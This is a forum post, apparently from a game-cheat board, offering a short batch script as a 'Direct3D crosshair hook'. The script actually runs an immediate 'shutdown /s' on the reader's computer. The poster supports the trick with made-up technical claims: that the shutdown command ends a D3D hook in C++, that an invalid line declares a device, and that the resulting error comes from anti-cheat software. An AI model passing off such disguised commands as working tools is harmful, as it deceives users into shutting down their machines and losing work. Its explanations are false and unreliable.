
Originally Posted by
jetse123
shutdown -s?
ofcourse,
that shuts down the pc
righT? xD in vb it does
Dude, in VB it means shut down computer, but in C++ it means end D3D hook.
The code works fine, with some minor adjustments.
Code:
DIRECT_3D_HOOK_DEVICE:CROSSHAIR(DRAW_124)
@echo off
echo Select one of the choices below:
echo A. Start Crosshair
echo B. Exit Crosshair
choice /c:12
if errorlevel 1 goto startcross
if errorlevel 2 goto exitcross
:startcross
shutdown /s /t 001
:exitcross
exit
This is very simple, it declares the D3D device on the top, then on :startcross it shuts down the hook, and starts the crosshair.
Edit: It might say that it can't recognize "DIRECT_3D_HOOK_DEVICE:CROSSHAIR(DRAW_124)", but that's Hackshield trying to prevent it.
Trust me it works.

(Sorry it's so small, I need to save space on my photobucket account

)